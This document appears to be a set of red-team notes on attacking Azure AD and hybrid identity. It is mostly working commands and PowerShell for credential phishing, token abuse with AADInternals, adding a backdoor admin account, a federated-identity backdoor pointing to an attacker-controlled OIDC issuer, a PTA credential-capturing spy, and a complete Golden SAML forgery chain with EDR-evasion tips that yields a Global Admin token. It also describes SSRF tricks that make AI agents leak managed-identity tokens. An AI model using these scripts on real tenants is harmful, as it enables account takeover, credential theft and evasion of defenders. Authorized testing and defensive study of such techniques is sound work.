-
Password Spraying & Password Reuse
-
Lateral On-Prem to Cloud Movement
- Compromised target victim enumeration, present use with authentication popup window:
meterpreter> use post/windows/gather/phish_windows_credentials set SESSION 3- credential dumping - bypass using when credential guard not enabled on victim
Invoke-ShareFinder- Password hunting
findstr /s /i /m "pass" \\shareserver\path\*.conf findstr /s /i /m "pass" \\FileServer1\scripts\*.ps1 -
Phishing Device Code API
- User is send email containing device user code, and user need to enter the code and then sign in with Azure ID after typing the code.
- Short life time of code make this difficult timed phishing attack
- Use stolen token to do AZURE enumeration import AADInternals
Import-Module AADInternals # Assign your token to a variable $aadToken = "Your access token string here" # Read the token into AADInternals Read-AADIntAccessToken -AccessToken $aadToken get-aadintuser -accesstoken <stolen-phishing-token> | select displayname Get-AADIntGlobalAdmins Get-AADIntUserMFA Send-AADIntOutlookMessage -AccessToken $At -Recipient "victim@company.com" -Subject "An email" -Message "<h2>This is a internal phishing message!</h2>"
- Phishing with device code abuses trusted and legitimate cloud infrastructure.
-
Discovery as Cloud Guest
# Get access token and save to cache Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache # Invoke tenant recon as guest, cmdlet can automate enumeration! $results = Invoke-AADIntReconAsGuest # Invoke user enumeration as a guest $results = Invoke-AADIntUserEnumerationAsGuest -UserName "user@company.com"
-
Invited guest to teams channel for target victim company give us read access as guest using in victim Microsoft Azure Tenant.
-
Compromised Internal User Foothold setup
# Install required modules Install-Module -Name Az -Force Install-Module -Name AzureAD -Force Install-Module -Name MSOnline -Force Install-Module -Name AADInternals -Force # Connect with compromised/test credentials Connect-AzAccount Connect-AzureAD Connect-MsolService # Get tenant info Get-AzTenant (Get-AzContext).Tenant
-
Enumerate as Insider threat actor using ROADtools
roadrecon roadrecon gui
ipmo C:\path\to\PowerZure.psd1 Get-AzureCurrentUser-
Bloodhound - AzureHound
-
Read access to the Azure AD portal is allowed to internal users and not to guests by default!
-
-
Conditional Access Policies
- AAD Internals command-let:
# Get the access token Get-AADIntAccessTokenForAADGraph -SaveToCache
- List the conditional access policies
Get-AADIntConditionalAccessPolicies- bypass using different user agent instead of windows
- browser user agent switcher plugin
- Conditional Access policy can block access to a compromised user account even if we had the password credentials.
-
Dynamic Groups
# Find abusable dynamic groups Get-AADIntDynamicAbusableGroups- Based on the condition for dynamic groups, create email address containing the required string to dynamic be added to groups.
-
Managed Identities
- Token-Bound Hijacking and AI-Driven Lateral Movement.
- SSRF trick modern AI-integrated agents into requesting tokens, an AI agent has "read" access to a resource, it fetch Managed Identity token and leak it
- attacker gains Contributor access to an Automation Account, they create a malicious Runbook, that execute using the Managed Identity permissions at the Subscription level, the attacker essentially now Global Admin-level access.
- after abuse Managed Identities persistence
net user hacker P@ssw0rd124 /add net localgroup administrators hacker /add
- Managed Identities do NOT have access to all subscriptions in the tenant by default.
- To access resources as a system defined managed identity, we have to be running in the context of the VM where the managed identity was created.
-
Application Owner
- App owner permissions enumeration
Get-MgApplication -All Get-MgApplication | Select DisplayName, Owners (Get-MgApplication -ApplicationId <ID>).RequiredResourceAccess.ResourceAccess # getting a token without a module $apiUrl = 'https://graph.microsoft.com/v1.0/Groups/' $Data = Invoke-RestMethod -Headers @{Authorization = "Bearer $accessToken"} -Uri $apiUrl -Method Get $Groups = ($Data | select-object Value).Value $Groups | FT Displayname, Description- Escalation via Application Owner is possible because, the registered application has the necessary rights to elevate us.
- The person "owning" the App Owner, can use the key secret to the App's permissions to take over the entire subscription in Azure.
- backdoor Federated Identity "Shadow" attacker configures the app to trust an external OIDC Open ID Connect provider that they control (a "Bring Your Own Identity Provider" or BYOIDP attack).
- Config malicious federation
$params = @{ Name = "Maintenance-Backdoor" Issuer = "https://evil-attacker-oidc.com/storage" # Attacker's rogue provider Subject = "repo:attacker/backdoor:ref:refs/heads/main" # The "identity" allowed to log in Audiences = @("api://AzureADTokenExchange") # Standard audience for token exchange Description = "Legitimate looking maintenance credential" } # Apply the backdoor New-MgApplicationFederatedIdentityCredential -ApplicationId <App-Object-Id> -BodyParameter $params
- verify persistence check
Get-MgApplicationFederatedIdentityCredential -ApplicationId <App-Object-Id>- To create the backdoor, we need the Immutable ID attribute value
-
Hybrid Access & Conditional Access from Trusted locations
{'MIcrosoft Azure CAP':'Office location excluded from MFA required for conditional access policy setting.'} -
Abuse Seamless SSO
-
SSO depends on Existing Kerberos tickets
-
Golden SAML allows us to login to Azure as any user of our choice!
-
Azure Attack Scenarios — Trusted Location Bypass
-
IP Spoofing / Source Manipulation Context
# After identifying trusted CIDRs, document ranges for source IP manipulation # (e.g., via VPN exit nodes, compromised on-prem hosts, or SSRF within trusted range) # Identify on-prem to cloud sync accounts (often excluded from CA) Get-MsolUser -All | Where-Object { $_.StrongAuthenticationRequirements.Count -eq 0 -and $_.UserType -eq "Member" } | Select-Object UserPrincipalName, IsLicensed, LastPasswordChangeTimestamp | Sort-Object LastPasswordChangeTimestamp
-
AADInternals — Token Abuse from Trusted Context
# If operating from within trusted IP range (e.g., pivoted to on-prem): Import-Module AADInternals # Get access token bypassing MFA (if originating from trusted IP) $token = Get-AADIntAccessTokenForAADGraph -Credentials (Get-Credential) # Request token for various resources Get-AADIntAccessTokenForMSGraph # Microsoft Graph Get-AADIntAccessTokenForAzureCoreManagement # Azure ARM Get-AADIntAccessTokenForSharePoint -Tenant "yourtenant.onmicrosoft.com" # Dump tenant information Get-AADIntTenantDetails
-
Pass-Through Authentication (PTA) Abuse
# Enumerate PTA agents (hybrid auth path - bypasses cloud MFA in some configs) Import-Module AADInternals # Check if PTA is enabled (identified during recon) Get-AADIntLoginInformation -Domain "target.com" # If PTA agent is compromised on-prem, install backdoor agent # (Authorized red team only - requires local admin on PTA agent server) Install-AADIntPTASpy Get-AADIntPTASpyLog # Captures credentials as users authenticate
-
Seamless SSO Silver Ticket Attack
# Azure AD Seamless SSO uses AZUREADSSOACC$ computer account - Kerberos ticket abuse # Enumerate the account Import-Module AADInternals # Extract AZUREADSSOACC NTLM hash (from on-prem DC - requires DCSync rights) # Then forge Kerberos tickets to authenticate as any user without MFA # from "trusted" on-prem perspective # Check if Seamless SSO is configured Get-AADIntLoginInformation -Domain "target.com" | Select-Object DesktopSSOEnabled
-
Post-Auth Enumeration After Bypass
# Once authenticated without MFA (from trusted location): # Enumerate privileged roles Get-AzureADDirectoryRole | ForEach-Object { $role = $_ $members = Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId if ($members) { Write-Host "`n[ROLE] $($role.DisplayName)" -ForegroundColor Green $members | Select-Object UserPrincipalName, DisplayName, UserType } } # Enumerate Azure subscriptions and RBAC Get-AzSubscription Get-AzRoleAssignment | Where-Object { $_.RoleDefinitionName -in @("Owner","Contributor","User Access Administrator") } | Select-Object SignInName, RoleDefinitionName, Scope # Check for legacy authentication still enabled (another CA bypass vector) Get-MsolUser -All | Where-Object { $_.StrongAuthenticationMethods.Count -eq 0 } | Select-Object UserPrincipalName, LastPasswordChangeTimestamp
-
Golden SAML & Primary Refresh Token Attack chain
Standard Domain User │ ▼ Local Admin (workstation) ← Stage 1 │ ▼ Kerberoast / AS-REP Roast ← Stage 2 │ ▼ High-Value Service Account ← Stage 3 │ ▼ DCSync Rights / DA ← Stage 4 │ ▼ DKM Key Extraction ← Stage 5 │ ▼ Golden SAML → Azure AD Token ← Stage 6 -
Most Realistic Golden SAML Attack in 2026 with EDR Evasion - DCSync to AD FS DKM Key Extraction
# Avoid mimikatz lsadump::dcsync — heavily signatured # Instead use legitimate AD replication APIs via C# or PowerShell # Option A: DSInternals (less detected than mimikatz) Install-Module DSInternals -Scope CurrentUser # Replicate a single object — much less noisy than full DCSync Get-ADReplAccount -SamAccountName "AZUREADSSOACC$" -Server dc01.corp.local Get-ADReplAccount -SamAccountName "adfssvc" -Server dc01.corp.local # Option B: Impacket secretsdump via Linux C2 (avoids Windows EDR entirely) # secretsdump.py corp/domainadmin@dc01.corp.local -just-dc-user "AZUREADSSOACC$" #Locate DKM Container (Passive LDAP — No EDR Signal) # Pure LDAP query — indistinguishable from admin tooling $dkmPath = "CN=ADFS,CN=Microsoft,CN=Program Data,DC=corp,DC=local" $searcher = New-Object DirectoryServices.DirectorySearcher $searcher.SearchRoot = "LDAP://$dkmPath" $searcher.Filter = "(objectClass=contact)" $searcher.PropertiesToLoad.Add("thumbnailPhoto") | Out-Null $result = $searcher.FindOne() # DKM master key is stored in thumbnailPhoto attribute $dkmKey = $result.Properties["thumbnailPhoto"][0] Write-Host "[+] DKM Key retrieved: $([Convert]::ToBase64String($dkmKey))" # Pull AD FS config from WID/SQL remotely via named pipe (no logon to ADFS server) # Requires: DA or rights on ADFS SQL instance $connectionString = "Data Source=np:\\adfs01\pipe\microsoft##wid\tsql\query;Initial Catalog=AdfsConfigurationV4;Integrated Security=True" $conn = New-Object System.Data.SqlClient.SqlConnection($connectionString) $conn.Open() $cmd = $conn.CreateCommand() $cmd.CommandText = "SELECT ServiceSettingsData FROM IdentityServerPolicy.ServiceSettings" $xmlConfig = $cmd.ExecuteScalar() $conn.Close() # Parse the XML config in memory — cert is stored as encrypted blob [xml]$config = $xmlConfig $encryptedPfx = $config.ServiceSettingsData.SecurityTokenService.SigningToken Write-Host "[+] Encrypted cert blob retrieved in memory" # Decrypt the PFX blob using the DKM key — no AADInternals module load needed # Avoids the signatured Export-AADIntADFSSigningCertificate call function Decrypt-ADFSCert { param([byte[]]$EncryptedBlob, [byte[]]$DkmKey) # ADFS uses AES-256 with the DKM key as the symmetric key $aes = [System.Security.Cryptography.Aes]::Create() $aes.Key = $DkmKey[0..31] # First 32 bytes = AES key $aes.IV = $EncryptedBlob[0..15] # First 16 bytes of blob = IV $decryptor = $aes.CreateDecryptor() $plaintext = $decryptor.TransformFinalBlock($EncryptedBlob, 16, $EncryptedBlob.Length - 16) return [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($plaintext) } $signingCert = Decrypt-ADFSCert -EncryptedBlob $encryptedPfxBytes -DkmKey $dkmKey Write-Host "[+] Cert Subject: $($signingCert.Subject)" Write-Host "[+] Cert Thumbprint: $($signingCert.Thumbprint)" # Certificate now lives entirely in memory — never touches disk # AADInternals is signatured by most EDRs in 2026 # Implement SAML signing manually using .NET crypto — no 3rd party module function New-GoldenSAML { param( [string]$TargetUPN, [string]$ImmutableID, [string]$Issuer, [System.Security.Cryptography.X509Certificates.X509Certificate2]$SigningCert ) $assertionId = "_" + [guid]::NewGuid().ToString() $issueInstant = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ") $notBefore = (Get-Date).AddMinutes(-5).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ") $notAfter = (Get-Date).AddHours(1).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ") # Build raw SAML assertion XML $samlAssertion = @" <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="$assertionId" Version="2.0" IssueInstant="$issueInstant"> <saml:Issuer>$Issuer</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">$ImmutableID</saml:NameID> </saml:Subject> <saml:Conditions NotBefore="$notBefore" NotOnOrAfter="$notAfter"> <saml:AudienceRestriction> <saml:Audience>urn:federation:MicrosoftOnline</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AttributeStatement> <saml:Attribute Name="IDPEmail"> <saml:AttributeValue>$TargetUPN</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> "@ # Sign using .NET XML DSig — no external tools $xmlDoc = New-Object System.Xml.XmlDocument $xmlDoc.LoadXml($samlAssertion) $signedXml = New-Object System.Security.Cryptography.Xml.SignedXml($xmlDoc) $signedXml.SigningKey = $SigningCert.PrivateKey $reference = New-Object System.Security.Cryptography.Xml.Reference $reference.Uri = "#$assertionId" $reference.AddTransform((New-Object System.Security.Cryptography.Xml.XmlDsigEnvelopedSignatureTransform)) $signedXml.AddReference($reference) $signedXml.ComputeSignature() $xmlDoc.DocumentElement.AppendChild($signedXml.GetXml()) | Out-Null return [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($xmlDoc.OuterXml)) } # Forge token for Global Admin $goldenToken = New-GoldenSAML ` -TargetUPN "globaladmin@corp.com" ` -ImmutableID "abc123immutableID==" ` -Issuer "http://adfs.corp.local/adfs/services/trust" ` -SigningCert $signingCert # Exchange forged SAML for Azure AD access token via standard OAuth endpoint # Pure web request — no tooling, no modules, no EDR hooks $body = @{ grant_type = "urn:ietf:params:oauth:grant-type:saml2-bearer" assertion = $goldenToken scope = "https://graph.microsoft.com/.default" client_id = "1b730954-1685-4b74-9bfd-dac224a7b894" # Azure AD PowerShell app } $response = Invoke-RestMethod ` -Uri "https://login.microsoftonline.com/corp.onmicrosoft.com/oauth2/v2.0/token" ` -Method POST ` -Body $body ` -ContentType "application/x-www-form-urlencoded" $accessToken = $response.access_token Write-Host "[+] Access Token obtained for Global Admin — no MFA, no alerts" # Use token directly against Graph API $headers = @{ Authorization = "Bearer $accessToken" } Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users" -Headers $headers

